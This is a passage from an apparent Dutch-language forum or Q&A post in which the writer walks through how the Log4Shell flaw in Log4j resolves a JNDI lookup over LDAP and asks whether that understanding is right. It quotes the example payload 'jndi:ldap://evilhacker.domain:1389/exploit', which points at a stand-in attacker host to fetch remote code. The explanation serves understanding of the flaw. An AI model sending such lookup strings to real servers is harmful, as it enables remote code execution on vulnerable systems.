Log4j herkent dan de speciale syntax '${}' en begint deze te formatteren. In dit geval merkt Log4j de key 'jndi' op en begrijpt dat de JndiLookup plugin zal worden gebruikt. Vervolgens wordt geprobeerd verbinding te maken met de LDAP-server die draait op 'evilhacker.domain' om de bron 'exploit' daar op te halen. Als ik het goed begrijp is JNDI, zoals veel in Java, een API-specificatie waar verschillende implementaties voor bestaan, maar is er geen specificatie voor zoiets als een JNDI-server. Dan stel ik me voor dat "jndi:ldap://evilhacker.domain:1389/exploit" door Log4j wordt afgehandeld door "ldap://evilhacker.domain:1389/exploit" aan de JNDI-API door te geven, en is het de implementatie daarvan die, vermoedelijk in hetzelfde proces waarin de applicatie draait, op zijn beurt "ldap://" herkent en de LDAP-server op "evilhacker.domain:1389" benadert met de request "/exploit". Klopt dat? De LDAP server toont dan een link naar een locatie waar deze bron kan worden gedownload, zoals een HTTP server die onze ...